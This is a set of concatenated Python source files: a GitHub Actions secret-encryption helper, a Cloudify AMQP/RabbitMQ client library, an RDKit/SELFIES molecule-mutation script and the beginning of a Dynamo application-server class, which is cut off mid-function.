java_container_version=getattr(app_settings, 'java_container_version', '').lower()
)
return _get_app_runtime_info_helper(app_runtime, app_runtime_version, is_linux)
def _get_app_runtime_info_helper(app_runtime, app_runtime_version, is_linux):
if is_linux:
stacks = get_file_json(RUNTIME_STACKS)['linux']
for stack in stacks:
if 'github_actions_properties' in stack and stack['github_actions_properties']:
if stack['displayName'].lower() == app_runtime.lower():
return {
"display_name": stack['displayName'],
"github_actions_version": stack['github_actions_properties']['github_actions_version']
}
else:
stacks = get_file_json(RUNTIME_STACKS)['windows']
for stack in stacks:
if 'github_actions_properties' in stack and stack['github_actions_properties']:
if (stack['github_actions_properties']['app_runtime'].lower() == app_runtime.lower() and
stack['github_actions_properties']['app_runtime_version'].lower() ==
app_runtime_version.lower()):
return {
"display_name": stack['displayName'],
"github_actions_version": stack['github_actions_properties']['github_actions_version']
}
return None
def _encrypt_github_actions_secret(public_key, secret_value):
# Encrypt a Unicode string using the public key
from base64 import b64encode
public_key = public.PublicKey(public_key.encode("utf-8"), encoding.Base64Encoder())
sealed_box = public.SealedBox(public_key)
encrypted = sealed_box.encrypt(secret_value.encode("utf-8"))
return b64encode(encrypted).decode("utf-8")
|
amqp_client.py | ########
# Copyright (c) 2013 GigaSpaces Technologies Ltd. All rights reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# * See the License for the specific language governing permissions and
# * limitations under the License.
from collections import deque
import copy
import json
import logging
import os
import random
import ssl
import sys
import threading
import time
import uuid
import pika
import pika.exceptions
from cloudify import exceptions
from cloudify import broker_config
from cloudify._compat import queue
from cloudify.constants import EVENTS_EXCHANGE_NAME, LOGS_EXCHANGE_NAME
logger = logging.getLogger(__name__)
if sys.version_info >= (2, 7):
# requires 2.7+
def wait_for_event(evt, poll_interval=0.5):
"""Wait for a threading.Event by polling, to allow handling of signals.
(ie. doesnt block ^C)
"""
while True:
if evt.wait(poll_interval):
return
else:
def wait_for_event(evt, poll_interval=None):
"""Wait for a threading.Event. Stub for compatibility."""
# in python 2.6, Event.wait always returns None, so we can either:
# - .wait() without a timeout and block ^C which is inconvenient
# - .wait() with timeout and then check .is_set(),
# which is not threadsafe
# We choose the inconvenient but safe method.
evt.wait()
class AMQPParams(object):
def __init__(self,
amqp_host=None,
amqp_user=None,
amqp_pass=None,
amqp_port=None,
amqp_vhost=None,
ssl_enabled=None,
ssl_cert_path=None,
socket_timeout=3,
heartbeat_interval=None):
super(AMQPParams, self).__init__()
username = amqp_user or broker_config.broker_username
password = amqp_pass or broker_config.broker_password
heartbeat = heartbeat_interval or broker_config.broker_heartbeat
credentials = pika.credentials.PlainCredentials(
username=username,
password=password,
)
broker_ssl_options = {}
if ssl_enabled:
broker_ssl_options = {
'ca_certs': ssl_cert_path,
'cert_reqs': ssl.CERT_REQUIRED,
}
if not broker_ssl_options:
broker_ssl_options = broker_config.broker_ssl_options
self.raw_host = amqp_host or broker_config.broker_hostname
self._amqp_params = {
'port': amqp_port or broker_config.broker_port,
'virtual_host': amqp_vhost or broker_config.broker_vhost,
'credentials': credentials,
'ssl': ssl_enabled or broker_config.broker_ssl_enabled,
'ssl_options': broker_ssl_options,
'heartbeat': heartbeat,
'socket_timeout': socket_timeout
}
def as_pika_params(self):
return pika.ConnectionParameters(**self._amqp_params)
class ConnectionTimeoutError(Exception):
"""Timeout trying to connect"""
def _get_daemon_factory():
"""
We need the factory to dynamically load daemon config, to support
HA failovers
"""
# Dealing with circular dependency
try:
from cloudify_agent.api.factory import DaemonFactory
except ImportError:
# Might not exist in e.g. the REST service
DaemonFactory = None
return DaemonFactory
class AMQPConnection(object):
MAX_BACKOFF = 30
def __init__(self, handlers, name=None, amqp_params=None,
connect_timeout=10):
self._handlers = handlers
self.name = name
self._connection_params = self._get_connection_params()
self._reconnect_backoff = 1
self._closed = False
self._amqp_params = amqp_params or AMQPParams()
self._pika_connection = None
self._consumer_thread = None
self.connect_wait = threading.Event()
self._connect_timeout = connect_timeout
self._error = None
self._daemon_factory = _get_daemon_factory()
# use this queue to schedule methods to be called on the pika channel
# from the connection thread - for sending data to rabbitmq, eg.
# publishing messages or sending ACKs, which needs to be done from
# the connection thread
self._connection_tasks_queue = queue.Queue()
def _get_connection_params(self):
params = self._amqp_params.as_pika_params()
hosts = copy.copy(self._amqp_params.raw_host)
if not isinstance(hosts, list):
hosts = [hosts]
random.shuffle(hosts)
while True:
for host in hosts:
params.host = host
logger.debug('Current connection params: {0}'.format(params))
yield params
def _get_reconnect_backoff(self):
backoff = self._reconnect_backoff
self._reconnect_backoff = min(backoff * 2, self.MAX_BACKOFF)
return backoff
def _reset_reconnect_backoff(self):
self._reconnect_backoff = 1
def connect(self):
self._error = None
deadline = None
self._pika_connection = None
if self._connect_timeout is not None:
deadline = time.time() + self._connect_timeout
try:
while self._pika_connection is None:
params = next(self._connection_params)
self._pika_connection = self._get_pika_connection(
params, deadline)
# unfortunately DaemonNotFoundError is a BaseException subclass :(
except BaseException as e:
self._error = e
self.connect_wait.set()
raise e
out_channel = self._pika_connection.channel()
out_channel.confirm_delivery()
for handler in self._handlers:
handler.register(self, out_channel)
logger.info('Registered handler for {0} [{1}]'
.format(handler.__class__.__name__,
handler.routing_key))
self.connect_wait.set()
return out_channel
def _get_pika_connection(self, params, deadline=None):
try:
connection = pika.BlockingConnection(params)
except pika.exceptions.AMQPConnectionError as e:
time.sleep(self._get_reconnect_backoff())
if deadline and time.time() > deadline:
raise e
else:
self._reset_reconnect_backoff()
self._closed = False
return connection
def consume(self):
out_channel = self.connect()
while not self._closed:
try:
self._pika_connection.process_data_events(0.05)
self._process_publish(out_channel)
except pika.exceptions.ChannelClosed as e:
# happens when we attempt to use an exchange/queue that is not
# declared - nothing we can do to help it, just exit
logger.error('Channel closed: {0}'.format(e))
break
except pika.exceptions.ConnectionClosed:
self.connect_wait.clear()
out_channel = self.connect()
continue
self._process_publish(out_channel)
self._pika_connection.close()
def consume_in_thread(self):
"""Spawn a thread to run consume"""
if self._consumer_thread:
return
self._consumer_thread = threading.Thread(target=self.consume)
self._consumer_thread.daemon = True
self._consumer_thread.start()
wait_for_event(self.connect_wait)
if self._error is not None:
raise self._error
return self._consumer_thread
def __enter__(self):
self.consume_in_thread()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.close()
def _process_publish(self, channel):
while True:
try:
envelope = self._connection_tasks_queue.get_nowait()
except queue.Empty:
return
target_channel = envelope['channel'] or channel
method = envelope['method']
# we use a separate queue to send any possible exceptions back
# to the calling thread - see the publish method
message = envelope['message']
err_queue = envelope.get('err_queue')
try:
if callable(method):
method(self, channel, **message)
else:
getattr(target_channel, method)(**message)
except pika.exceptions.ConnectionClosed:
if self._closed:
return
# if we couldn't send the message because the connection
# was down, requeue it to be sent again later
self._connection_tasks_queue.put(envelope)
raise
except Exception as e:
if err_queue:
err_queue.put(e)
raise
else:
if err_queue:
err_queue.put(None)
def close(self, wait=True):
self._closed = True
if self._consumer_thread and wait:
self._consumer_thread.join()
self._consumer_thread = None
def add_handler(self, handler):
self._handlers.append(handler)
if self._pika_connection:
self.channel_method(handler.register)
def channel(self):
if self._closed or not self._pika_connection:
raise RuntimeError(
'Attempted to open a channel on a closed connection')
return self._pika_connection.channel()
def channel_method(self, method, channel=None, wait=True,
timeout=None, **kwargs):
"""Schedule a channel method to be called from the connection thread.
Use this to schedule a channel method such as .publish or .basic_ack
to be called from the connection thread.
"""
if wait and self._consumer_thread \
and self._consumer_thread is threading.current_thread():
# when sending from the connection thread, we can't wait because
# then we wouldn't allow the actual send loop (._process_publish)
# to run, because we'd block on the err_queue here
raise RuntimeError(
'Cannot wait when sending from the connection thread')
# the message is going to be sent from another thread (the .consume
# thread). If an error happens there, we must have a way to get it
# back out, so we pass a Queue together with the message, that will
# contain either an exception instance, or None
err_queue = queue.Queue() if wait else None
envelope = {
'method': method,
'message': kwargs,
'err_queue': err_queue,
'channel': channel
}
self._connection_tasks_queue.put(envelope)
if err_queue:
err = err_queue.get(timeout=timeout)
if isinstance(err, Exception):
raise err
def publish(self, message, wait=True, timeout=None):
"""Schedule a message to be sent.
:param message: Kwargs for the pika basic_publish call. Should at
least contain the "body" and "exchange" keys, and
it might contain other keys such as "routing_key"
or "properties"
:param wait: Whether to wait for the message to actually be sent.
If true, an exception will be raised if the message
cannot be sent.
"""
properties = message.get('properties') or pika.BasicProperties()
if properties.delivery_mode is None:
# Unless the sender has decided that the message should have a
# specific delivery mode, we'll make sure it's persistent so that
# it isn't lost in the event of broker/cluster outage (as long as
# it's on a durable queue).
properties.delivery_mode = 2
message['properties'] = properties
self.channel_method('publish', wait=wait, timeout=timeout, **message)
def ack(self, channel, delivery_tag, wait=True, timeout=None):
self.channel_method('basic_ack', wait=wait, timeout=timeout,
channel=channel, delivery_tag=delivery_tag)
# return this result from .handle_task to not send a response.
# If a response is not sent, the reply queue will also be deleted
NO_RESPONSE = object()
STOP_AGENT = object()
class TaskConsumer(object):
routing_key = ''
late_ack = False
def __init__(self, queue, threadpool_size=5, exchange_type='direct'):
self.threadpool_size = threadpool_size
self.exchange = queue
self.queue = '{0}_{1}'.format(queue, self.routing_key)
self._sem = threading.Semaphore(threadpool_size)
self._connection = None
self.exchange_type = exchange_type
self._tasks_buffer = deque()
def register(self, connection, channel):
self._connection = connection
channel.basic_qos(prefetch_count=self.threadpool_size)
channel.confirm_delivery()
channel.exchange_declare(exchange=self.exchange,
auto_delete=False,
durable=True,
exchange_type=self.exchange_type)
channel.queue_declare(queue=self.queue,
durable=True,
auto_delete=False)
channel.queue_bind(queue=self.queue,
exchange=self.exchange,
routing_key=self.routing_key)
channel.basic_consume(self.process, self.queue)
def process(self, channel, method, properties, body):
try:
full_task = json.loads(body)
except ValueError:
logger.error('Error parsing task: {0}'.format(body))
return
task_args = (channel, properties, full_task, method.delivery_tag)
if self._sem.acquire(blocking=False):
self._run_task(task_args)
else:
self._tasks_buffer.append(task_args)
def _process_message(self, channel, properties, full_task, delivery_tag):
if not self.late_ack:
self._connection.ack(channel, delivery_tag)
try:
result = self.handle_task(full_task)
except Exception as e:
result = {'ok': False, 'error': repr(e)}
logger.exception(
'ERROR - failed message processing: '
'{0!r}\nbody: {1}'.format(e, full_task)
)
if self.late_ack:
self._connection.ack(channel, delivery_tag)
if properties.reply_to:
if result is NO_RESPONSE:
self.delete_queue(properties.reply_to)
else:
if result is STOP_AGENT:
body = json.dumps({'ok': True})
else:
body = json.dumps(result)
self._connection.publish({
'exchange': self.exchange,
'routing_key': properties.reply_to,
'properties': pika.BasicProperties(
correlation_id=properties.correlation_id),
'body': body
})
if result is STOP_AGENT:
# the operation asked us to exit, so drop everything and exit
os._exit(0)
if not self._maybe_run_next_task():
self._sem.release()
def _run_task(self, task_args):
new_thread = threading.Thread(
target=self._process_message,
args=task_args
)
new_thread.daemon = True
new_thread.start()
def _maybe_run_next_task(self):
try:
task_args = self._tasks_buffer.popleft()
except IndexError:
return False
else:
self._run_task(task_args)
return True
def handle_task(self, full_task):
raise NotImplementedError()
def delete_queue(self, queue, if_empty=True, wait=True):
self._connection.channel_method(
'queue_delete', queue=queue, if_empty=if_empty, wait=wait)
def delete_exchange(self, exchange):
self._connection.channel_method('exchange_delete', exchange=exchange)
class SendHandler(object):
exchange_settings = {
'auto_delete': False,
'durable': True,
}
wait_for_publish = True
def __init__(self, exchange, exchange_type='direct', routing_key=''):
self.exchange = exchange
self.exchange_type = exchange_type
self.routing_key = routing_key
self.logger = logging.getLogger('dispatch.{0}'.format(self.exchange))
self._connection = None
def register(self, connection, channel):
self._connection = connection
channel.exchange_declare(exchange=self.exchange,
exchange_type=self.exchange_type,
**self.exchange_settings)
def _log_message(self, message):
level = message.get('level', 'info')
log_func = getattr(self.logger, level, self.logger.info)
exec_id = message.get('context', {}).get('execution_id')
execution_creator_username = message.get('context', {}).get(
'execution_creator_username')
text = message['message']['text']
if exec_id:
msg = u'[{0}] {1}'.format(exec_id, text)
if execution_creator_username:
msg = u'[{0}] '.format(execution_creator_username) + msg
else:
msg = text
log_func(msg)
def publish(self, message, **kwargs):
if 'message' in message:
# message is textual, let's log it
self._log_message(message)
self._connection.publish({
'exchange': self.exchange,
'body': json.dumps(message),
'routing_key': self.routing_key
}, wait=self.wait_for_publish)
class ScheduledExecutionHandler(SendHandler):
def __init__(self, exchange, exchange_type, routing_key,
target_exchange, target_routing_key, ttl):
super(ScheduledExecutionHandler, self).__init__(exchange,
exchange_type,
routing_key)
# The ultimate exchange and queue the message will be sent to (from
# the Dead Letter queue)
self.target_exchange = target_exchange
self.target_routing_key = target_routing_key
self.ttl = ttl
def register(self, connection, channel):
self._connection = connection
channel.exchange_declare(exchange=self.exchange,
exchange_type=self.exchange_type,
**self.exchange_settings)
# Declare a new temporary queue for the Dead Letter Exchange, and
# set the routing key of the MGMTWORKER queue
channel.queue_declare(
queue=self.routing_key,
arguments={
'x-message-ttl': self.ttl,
'x-dead-letter-exchange': (
self.target_exchange
),
'x-dead-letter-routing-key': (
self.target_routing_key
),
},
durable=True)
channel.queue_bind(exchange=self.exchange, queue=self.routing_key)
class NoWaitSendHandler(SendHandler):
"""
A send handler that doesn't wait for the message to be sent.
This is useful for buffering cases like sending multiple logs at once.
"""
wait_for_publish = False
class _RequestResponseHandlerBase(TaskConsumer):
queue_exclusive = False
def register(self, connection, channel):
self._connection = connection
channel.exchange_declare(exchange=self.exchange,
auto_delete=False,
durable=True,
exchange_type=self.exchange_type)
def _declare_queue(self, queue_name):
self._connection.channel_method(
'queue_declare', queue=queue_name, durable=True,
exclusive=self.queue_exclusive)
self._connection.channel_method(
'queue_bind', queue=queue_name, exchange=self.exchange)
self._connection.channel_method(
'basic_consume', queue=queue_name, consumer_callback=self.process)
def _queue_name(self, correlation_id):
"""Make the queue name for this handler based on the correlation id"""
return '{0}_response_{1}'.format(self.exchange, correlation_id)
def make_response_queue(self, correlation_id):
self._declare_queue(self._queue_name(correlation_id))
def publish(self, message, correlation_id, routing_key='',
expiration=None):
if expiration is not None:
# rabbitmq wants it to be a string
expiration = '{0}'.format(expiration)
self._connection.publish({
'exchange': self.exchange,
'body': json.dumps(message),
'properties': pika.BasicProperties(
reply_to=self._queue_name(correlation_id),
correlation_id=correlation_id,
expiration=expiration),
'routing_key': routing_key
})
def process(self, channel, method, properties, body):
raise NotImplementedError()
class BlockingRequestResponseHandler(_RequestResponseHandlerBase):
# when the process closes, a blockin handler's queues can be deleted,
# because there's no way to resume waiting on those
queue_exclusive = True
def __init__(self, *args, **kwargs):
super(BlockingRequestResponseHandler, self).__init__(*args, **kwargs)
self._response = queue.Queue()
def publish(self, message, *args, **kwargs):
timeout = kwargs.pop('timeout', None)
correlation_id = kwargs.pop('correlation_id', None)
if correlation_id is None:
correlation_id = uuid.uuid4().hex
self.make_response_queue(correlation_id)
super(BlockingRequestResponseHandler, self).publish(
message, correlation_id, *args, **kwargs)
try:
return json.loads(self._response.get(timeout=timeout))
except queue.Empty:
raise RuntimeError('No response received for task {0}'
.format(correlation_id))
except ValueError:
logger.error('Error parsing response for task {0}'
.format(correlation_id))
def process(self, channel, method, properties, body):
channel.basic_ack(method.delivery_tag)
self.delete_queue(
self._queue_name(properties.correlation_id),
wait=False, if_empty=False)
self._response.put(body)
class CallbackRequestResponseHandler(_RequestResponseHandlerBase):
def __init__(self, *args, **kwargs):
super(CallbackRequestResponseHandler, self).__init__(*args, **kwargs)
self.callbacks = {}
def publish(self, message, *args, **kwargs):
callback = kwargs.pop('callback', None)
correlation_id = kwargs.pop('correlation_id', None)
if correlation_id is None:
correlation_id = uuid.uuid4().hex
if callback:
self.callbacks[correlation_id] = callback
self.make_response_queue(correlation_id)
super(CallbackRequestResponseHandler, self).publish(
message, correlation_id, *args, **kwargs)
def process(self, channel, method, properties, body):
if properties.correlation_id in self.callbacks:
try:
response = json.loads(body)
self.callbacks[properties.correlation_id](response)
except ValueError:
logger.error('Error parsing response: {0}'.format(body))
channel.basic_ack(method.delivery_tag)
self.delete_queue(
self._queue_name(properties.correlation_id),
wait=False, if_empty=False)
def get_client(amqp_host=None,
amqp_user=None,
amqp_pass=None,
amqp_port=None,
amqp_vhost=None,
ssl_enabled=None,
ssl_cert_path=None,
name=None,
connect_timeout=10,
cls=AMQPConnection):
"""
Create a client without any handlers in it. Use the `add_handler` method
to add handlers to this client
:return: CloudifyConnectionAMQPConnection
"""
amqp_params = AMQPParams(
amqp_host,
amqp_user,
amqp_pass,
amqp_port,
amqp_vhost,
ssl_enabled,
ssl_cert_path
)
return cls(handlers=[], amqp_params=amqp_params, name=name,
connect_timeout=connect_timeout)
class CloudifyEventsPublisher(object):
SOCKET_TIMEOUT = 5
CONNECTION_ATTEMPTS = 3
channel_settings = {
'auto_delete': False,
'durable': True,
}
def __init__(self, amqp_params):
self.handlers = {
'log': NoWaitSendHandler(LOGS_EXCHANGE_NAME,
exchange_type='fanout'),
'event': SendHandler(EVENTS_EXCHANGE_NAME,
exchange_type='topic',
routing_key='events'),
'hook': SendHandler(EVENTS_EXCHANGE_NAME,
exchange_type='topic',
routing_key='events.hooks'),
}
self._connection = AMQPConnection(
handlers=list(self.handlers.values()),
amqp_params=amqp_params,
name=os.environ.get('AGENT_NAME')
)
self._is_closed = False
def connect(self):
self._connection.consume_in_thread()
def publish_message(self, message, message_type):
if self._is_closed:
raise exceptions.ClosedAMQPClientException(
'Publish failed, AMQP client already closed')
handler = self.handlers.get(message_type)
if handler:
handler.publish(message)
else:
logger.error('Unknown message type : {0} for message : {1}'.
format(message_type, message))
def close(self):
if self._is_closed:
return
self._is_closed = True
thread = threading.current_thread()
if self._connection:
logger.debug('Closing amqp client of thread {0}'.format(thread))
try:
self._connection.close()
except Exception as e:
logger.debug('Failed to close amqp client of thread {0}, '
'reported error: {1}'.format(thread, repr(e)))
def create_events_publisher(amqp_host=None,
amqp_user=None,
amqp_pass=None,
amqp_port=None,
amqp_vhost=None,
ssl_enabled=None,
ssl_cert_path=None):
thread = threading.current_thread()
amqp_params = AMQPParams(
amqp_host,
amqp_user,
amqp_pass,
amqp_port,
amqp_vhost,
ssl_enabled,
ssl_cert_path
)
try:
client = CloudifyEventsPublisher(amqp_params)
client.connect()
logger.debug('AMQP client created for thread {0}'.format(thread))
except Exception as e:
logger.warning(
'Failed to create AMQP client for thread: {0} ({1}: {2})'
.format(thread, type(e).__name__, e))
raise
return client
|
mutate_parr.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sat Jul 31 12:15:57 2021
@author: akshat
"""
from __future__ import print_function
import rdkit
import random
import multiprocessing
from rdkit import Chem
from rdkit.Chem import MolFromSmiles as smi2mol
from rdkit.Chem import MolToSmiles as mol2smi
from selfies import encoder, decoder
manager = multiprocessing.Manager()
lock = multiprocessing.Lock()
def get_selfie_chars(selfie):
'''Obtain a list of all selfie characters in string selfie
Parameters:
selfie (string) : A selfie string - representing a molecule
Example:
>>> get_selfie_chars('[C][=C][C][=C][C][=C][Ring1][Branch1_1]')
['[C]', '[=C]', '[C]', '[=C]', '[C]', '[=C]', '[Ring1]', '[Branch1_1]']
Returns
-------
chars_selfie (list of strings) :
list of selfie characters present in molecule selfie
'''
chars_selfie = [] # A list of all SELFIE sybols from string selfie
while selfie != '':
chars_selfie.append(selfie[selfie.find('['): selfie.find(']')+1])
selfie = selfie[selfie.find(']')+1:]
return chars_selfie
def mutate_sf(sf_chars, alphabet):
'''
Given a list of SELFIES alphabets, make random changes to the molecule using
alphabet. Opertations to molecules are character replacements, additions and deletions.
Parameters
----------
sf_chars : (list of string alphabets)
List of string alphabets for a SELFIE string.
alphabet : (list of SELFIE strings)
Replacements and addition operations are performed using this list of SELFIE strings.
Returns
-------
Muatted SELFIE string.
'''
random_char_idx = random.choice(range(len(sf_chars)))
choices_ls = [1, 2, 3] # 1 = replacement; 2 = addition; 3=delete
mutn_choice = choices_ls[random.choice(range(len(choices_ls)))] # Which mutation to do:
if alphabet != []:
alphabet = random.sample(alphabet, 200) + ['[=N]', '[C]', '[S]','[Branch3_1]','[Expl=Ring3]','[Branch1_1]','[Branch2_2]','[Ring1]', '[#P]','[O]', '[Branch2_1]', '[N]','[=O]','[P]','[Expl=Ring1]','[Branch3_2]','[I]', '[Expl=Ring2]', '[=P]','[Branch1_3]','[#C]','[Cl]', '[=C]','[=S]','[Branch1_2]','[#N]','[Branch2_3]','[Br]','[Branch3_3]','[Ring3]','[Ring2]','[F]']
else:
alphabet = ['[=N]', '[C]', '[S]','[Branch3_1]','[Expl=Ring3]','[Branch1_1]','[Branch2_2]','[Ring1]', '[#P]','[O]', '[Branch2_1]', '[N]','[=O]','[P]','[Expl=Ring1]','[Branch3_2]','[I]', '[Expl=Ring2]', '[=P]','[Branch1_3]','[#C]','[Cl]', '[=C]','[=S]','[Branch1_2]','[#N]','[Branch2_3]','[Br]','[Branch3_3]','[Ring3]','[Ring2]','[F]']
# Mutate character:
if mutn_choice == 1:
random_char = alphabet[random.choice(range(len(alphabet)))]
change_sf = sf_chars[0:random_char_idx] + [random_char] + sf_chars[random_char_idx+1: ]
# add character:
elif mutn_choice == 2:
random_char = alphabet[random.choice(range(len(alphabet)))]
change_sf = sf_chars[0:random_char_idx] + [random_char] + sf_chars[random_char_idx: ]
# delete character:
elif mutn_choice == 3:
if len(sf_chars) != 1:
change_sf = sf_chars[0:random_char_idx] + sf_chars[random_char_idx+1: ]
else:
change_sf = sf_chars
return ''.join(x for x in change_sf)
def get_prop_material(smile, alphabet, num_random_samples, num_mutations):
'''
Given an input smile, perform mutations to the strucutre using provided SELFIE
alphabet list. 'num_random_samples' number of different SMILES orientations are
considered & total 'num_mutations' are performed.
Parameters
----------
smile : (str)
Valid SMILES string.
alphabet : (list of str)
list of SELFIE strings.
num_random_samples : (int)
Number of different SMILES orientations to be formed for the input smile.
num_mutations : TYPE
Number of mutations to perform on each of different orientations SMILES.
Returns
-------
mutated_smiles_canon : (list of strings)
List of unique molecules produced from mutations.
'''
mol = Chem.MolFromSmiles(smile)
Chem.Kekulize(mol)
# Obtain randomized orderings of the SMILES:
randomized_smile_orderings = []
for _ in range(num_random_samples):
randomized_smile_orderings.append(rdkit.Chem.MolToSmiles(mol, canonical=False, doRandom=True, isomericSmiles=False, kekuleSmiles=True))
# Convert all the molecules to SELFIES
selfies_ls = [encoder(x) for x in randomized_smile_orderings]
selfies_ls_chars = [get_selfie_chars(selfie) for selfie in selfies_ls]
# Obtain the mutated selfies
mutated_sf = []
for sf_chars in selfies_ls_chars:
for i in range(num_mutations):
if i == 0: mutated_sf.append(mutate_sf(sf_chars, alphabet))
else: mutated_sf.append(mutate_sf ( get_selfie_chars(mutated_sf[-1]), alphabet ))
mutated_smiles = []
for x in mutated_sf:
try:
mutated_smiles.append(decoder(x))
except Exception as e:
print(e)
# for decoder(x) for x in mutated_sf
mutated_smiles_canon = []
for item in mutated_smiles:
try:
smi_canon = Chem.MolToSmiles(Chem.MolFromSmiles(item, sanitize=True), isomericSmiles=False, canonical=True)
if len(smi_canon) <= 81: # Size restriction!
mutated_smiles_canon.append(smi_canon)
except:
continue
mutated_smiles_canon = list(set(mutated_smiles_canon))
return mutated_smiles_canon
def sanitize_smiles(smi):
'''
Return a canonical smile representation of smi
Parameters
----------
smi : str
smile string to be canonicalized
Returns
-------
mol (rdkit.Chem.rdchem.Mol) :
RdKit mol object (None if invalid smile string smi)
smi_canon (string) :
Canonicalized smile representation of smi (None if invalid smile string smi)
conversion_successful (bool):
True/False to indicate if conversion was successful
'''
try:
mol = smi2mol(smi, sanitize=True)
smi_canon = mol2smi(mol, isomericSmiles=False, canonical=True)
return (mol, smi_canon, True)
except:
return (None, None, False)
def get_chunks(arr, num_processors, ratio):
'''
Split list of SMILES int sublists, each of which will be operated on seperate cpus.
Parameters
----------
arr : (list of sts)
A list of SMILES.
num_processors : (int)
Number of cpus available for conducting operation.
ratio : (int)
number of operations that will be performed on each cpu.
Returns
-------
chunks: (list of lists)
Each sublist is used by a different cpu to perform operations.
'''
chunks = [] # Collect arrays that will be sent to different processorr
counter = int(ratio)
for i in range(num_processors):
if i == 0:
chunks.append(arr[0:counter])
if i != 0 and i<num_processors-1:
chunks.append(arr[counter-int(ratio): counter])
if i == num_processors-1:
chunks.append(arr[counter-int(ratio): ])
counter += int(ratio)
return chunks
def calc_parr_prop(unseen_smile_ls, property_name, props_collect, num_random_samples, num_mutations, alphabet):
'''Calculate logP for each molecule in unseen_smile_ls, and record results
in locked dictionary props_collect
'''
for smile in unseen_smile_ls:
props_collect[property_name][smile] = get_prop_material(smile, alphabet=alphabet, num_random_samples=num_random_samples, num_mutations=num_mutations) # TODO: TESTING
def create_parr_process(chunks, alphabet, property_name, num_random_samples, num_mutations):
'''
Create parallel processes for creating mutating molecules for molecule in sublist chunks.
Parameters
----------
chunks : (list of list)
list of lists containing SMILES.
property_name : (syr)
optional name paramtere to enter.
Returns
-------
combined_dict : (dict)
input smiles -> [List of mutated smiles].
'''
process_collector = []
collect_dictionaries = []
# manager = multiprocessing.Manager()
# lock = multiprocessing.Lock()
for item in chunks:
props_collect = manager.dict(lock=True)
smiles_map_ = manager.dict(lock=True)
props_collect[property_name] = smiles_map_
collect_dictionaries.append(props_collect)
if property_name == 'logP':
process_collector.append(multiprocessing.Process(target=calc_parr_prop, args=(item, property_name, props_collect, num_random_samples, num_mutations, alphabet, )))
for item in process_collector:
item.start()
for item in process_collector: # wait for all parallel processes to finish
item.join()
combined_dict = {} # collect results from multiple processess
for i,item in enumerate(collect_dictionaries):
combined_dict.update(item[property_name])
return combined_dict
def get_mutated_smiles(smiles, alphabet, space='Explore'):
num_processors = multiprocessing.cpu_count()
molecules_here_unique = list(set(smiles))
ratio = len(molecules_here_unique) / num_processors
chunks = get_chunks(molecules_here_unique, num_processors, ratio)
if space == 'Explore':
mut_smiles = create_parr_process(chunks, alphabet, 'logP', num_random_samples=5, num_mutations=5)
else:
mut_smiles = create_parr_process(chunks, alphabet, 'logP', num_random_samples=400, num_mutations=400)
return mut_smiles
if __name__ == '__main__':
molecules_here = ['CCC', 'CCCC', 'CCCCC', 'CCCCCCCC', 'CS', 'CSSS', 'CSSSSS', 'CF', 'CI', 'CBr', 'CSSSSSSSSSSSS', 'CSSSSSSSSSC', 'CSSSSCCSSSC', 'CSSSSSSSSSF', 'SSSSSC']
A = get_mutated_smiles(molecules_here, alphabet=['[C]']*500, space='Explore')
|
appserver.py | import os
import sys
import re
import random
import time
import threading
import Queue
import hashlib
import logging
import shutil
import smtplib
import socket
import sqlite3
from email.mime.text import MIMEText
from dynamo.core.components.appmanager import AppManager
from dynamo.utils.classutil import get_instance
from dynamo.dataformat.exceptions import ConfigurationError
LOG = logging.getLogger(__name__)
class AppServer(object):
"""Base class for application server."""
# commands
EXECUTE, WAIT, TERMINATE = range(3)
# criticality
REPEAT_SEQ, REPEAT_LINE, PASS = range(3)
@staticmethod
def get_instance(module, dynamo_server, config):
return get_instance(AppServer, module, dynamo_server, config)
def __init__(self, dynamo_server, config):
self.dynamo_server = dynamo_server
# Base directory for application work areas
# Caution: everything under this directory is subject to automatic cleanup by the Dynamo server
self.workarea_base = config.workarea_base
# Base directory for scheduled application sequences
self.scheduler_base = config.scheduler_base
# User id for the scheduler
user_info = self.dynamo_server.manager.master.identify_user(name = config.scheduler_user)
if user_info is None:
raise ConfigurationError('Unknown user %s given for the scheduler.' % config.scheduler_user)
self.scheduler_user_id = user_info[1]
## Queues synchronous applications will wait on. {app_id: Queue}
self.synch_app_queues = {}
## notify_synch_lock can be called from the DynamoServer immediately
## after the application is scheduled. Need a lock to make sure we
## register them first.
self.notify_lock = threading.Lock()
self._stop_flag = threading.Event()
def start(self):
"""Start a daemon thread that runs the accept loop and return."""
self._stop_flag.clear()
accept_thread = threading.Thread(target = self._accept_applications)
accept_thread.daemon = True
accept_thread.start()
scheduler_thread = threading.Thread(target = self._scheduler)
scheduler_thread.daemon = True
scheduler_thread.start()
def stop(self):
"""Stop the server. Applications should have all terminated by the time this function is called."""
self._stop_flag.set()
self._stop_accepting()
def notify_synch_app(self, app_id, data):
"""
Notify synchronous app.
@param app_id App id (key in synch_app_queues)
@param data Dictionary passed to thread waiting to start a synchronous app.
"""
with self.notify_lock:
try:
self.synch_app_queues[app_id].put(data)
except KeyError:
pass
def wait_synch_app_queue(self, app_id):
"""
Wait on queue and return the data put in the queue.
@param app_id App id (key in synch_app_queues)
"""
return self.synch_app_queues[app_id].get()
def remove_synch_app_queue(self, app_id):
self.synch_app_queues.pop(app_id)
def _accept_applications(self):
"""Infinite loop to serve incoming connections."""
raise NotImplementedError('_accept_applications')
def _make_workarea(self):
"""
Make a work area under spool with a random 64-bit hex as the name. This can be a static function.
"""
while True:
workarea = '{0}/{1:016x}'.format(self.workarea_base, random.randint(0, 0xffffffffffffffff)) # zero-padded 16-char length hex
try:
os.makedirs(workarea)
except OSError:
if not os.path.exists(workarea):
return '' # failed to create the work area
else:
# remarkably, the directory existed
continue
return workarea
def _poll_app(self, app_id):
app = self._get_app(app_id)
if app is None:
return False, 'Unknown appid %d' % app_id
app['status'] = AppManager.status_name(app['status'])
return True, app
def _kill_app(self, app_id):
app = self._get_app(app_id)
if app is None:
return False, 'Unknown appid %d' % app_id
if app['status'] in (AppManager.STAT_NEW, AppManager.STAT_RUN):
self.dynamo_server.manager.master.update_application(app_id, status = AppManager.STAT_KILLED)
return True, {'result': 'success', 'detail': 'Task aborted.'}
else:
